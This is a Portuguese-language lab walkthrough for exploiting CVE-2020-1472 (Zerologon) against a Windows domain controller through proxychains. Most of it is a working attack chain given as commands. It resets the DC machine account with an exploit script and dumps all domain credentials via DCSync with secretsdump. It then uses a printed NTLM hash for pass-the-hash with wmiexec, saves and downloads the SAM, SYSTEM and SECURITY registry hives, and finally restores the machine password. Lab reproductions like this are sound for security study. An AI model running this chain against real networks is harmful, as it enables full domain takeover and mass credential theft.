
CVE-2020-1472 reprodução, exploração e o seu exp
Reprodução da vulnerabilidade no ambiente de domínio Windows usando proxychains como proxy no ambiente Mac.
DC (Controlador de Domínio Primário):

Domain User (Máquina Membro do Domínio):
Configuração de proxy SOCKS5 direto via gost.

Attack Hacker (Máquina Atacante):
Configurar proxychains4
vim /Users/xq17/.proxychains/proxychains.conf
Adicionar lista PrxoyList
[ProxyList] socks5 10.211.55.42 8099
Attack Tools (Ferramentas de Ataque):
1.git clone https://github.com/mstxq17/cve-2020-1472.git
2.pip3 install -r requirements.txt
Se ocorrer este erro:

Isso indica um problema com o módulo impacket. Tente desinstalar o módulo impacket e instalar a versão mais recente do GitHub.
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket && pip3 install .
O problema será resolvido.
Ferramenta em C#: https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
Primeiro, tente usar a senha do controlador de domínio local para exportar o hash da conta da máquina de domínio, para comparação após a modificação.
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user "DC$"
Ou remova as aspas, mas observe que no Linux $ representa uma variável, lembre-se de escapar.
proxychains4 secretsdump.py test.local/Administrator:'123QWEqwe!@#'@10.211.55.38 -just-dc-user DC\$

Use zerologon_tester.py para verificar se a vulnerabilidade existe.
python3 zerologon_tester.py DC 10.211.55.38

Se retornar 'Success', significa que a vulnerabilidade existe.
Use cve-2020-1472-exploit.py para redefinir a conta da máquina.
python3 cve-2020-1472-exploit.py dc$ 10.211.55.38


A conta da máquina do controlador de domínio pode usar DCSync para exportar todas as credenciais de usuário do domínio.
Princípio:
Usa o protocolo DRS (Directory Replication Service) para copiar credenciais de usuário do controlador de domínio via IDL_DRSGetNCChanges.
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass

Restaurar a senha da conta da máquina DC$
Através de
proxychains4 secretsdump.py test.local/dc\[email protected] -no-pass -just-dc | grep 'Administrator'
Obter o hash do administrador do domínio


Em seguida, usando wmic, pass the hash para obter privilégios de administrador local no controlador de domínio (administrador do domínio).
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8adfc85c3490040e942ae1e6c68f645e test.local/[email protected]
Em seguida, execute estes comandos para copiar o banco de dados SAM local para o Mac:
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save
Em ambiente de domínio único:
Pode ser executado perfeitamente. Após reiniciar o controlador de domínio, não há anormalidades, mas o DNS da máquina membro do domínio pode apresentar problemas, sem afetar a autenticação.

Após restaurar a senha:

Em ambiente de dois domínios, um DC primário e um controlador de domínio de backup DC01:

Inicialmente, obtivemos os hashes das máquinas de ambos os controladores de domínio e descobrimos que eles são diferentes.

Tentamos atacar o controlador de domínio auxiliar e descobrimos que não afetou o domínio primário, e os dados do ntdis.dist também foram sincronizados.

Tentamos atacar o domínio primário, net time /domain e no ambiente de domínio único também ocorreram erros, mas após restaurar a senha, foi restaurado instantaneamente.
Novas contas podem ser sincronizadas diretamente

Alterar a senha também não afeta a sincronização.
Na minha opinião, até agora não encontrei problemas de saída do domínio. Recomendo seguir este fluxo uma vez. Se tiver problemas, sinta-se à vontade para discutir comigo!

secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
Extrair o hex da senha da conta da máquina.

Finalmente, execute:
proxychains4 python3 restorepassword.py DC@DC -target-ip 10.211.55.38 -hexpass 87e2812ccea41210c80e298c9e2a43a249d6a4056027787774340fbfd4b5f969563803b0f1bae7ccd24b29b41ae611025f1952793562d73e7f4e0f8938b3361332b35dd5ee22785b79b922149db32dc5c9301f4fd9fd090f532575bf5197a9c9230955bfd96ab928ae66b3999730c75b8545e26770816f21f2dbf9dbb19432211a91224c4c618507f7091ae09435a13a04bad5f056e72d34a96f67fa33d50e7596eca7709f398d98ba9e07407d7b2e4b937e40d1bf5ff0eb2240bdf0e8287e26ea5f8e69219fa7b1c5aa0e0bd8b992a176c32b0efb914fa6c1e53d69179110b02dfc1b1a0e53b445b92588420af18960

Pode-se ver que as informações foram totalmente restauradas.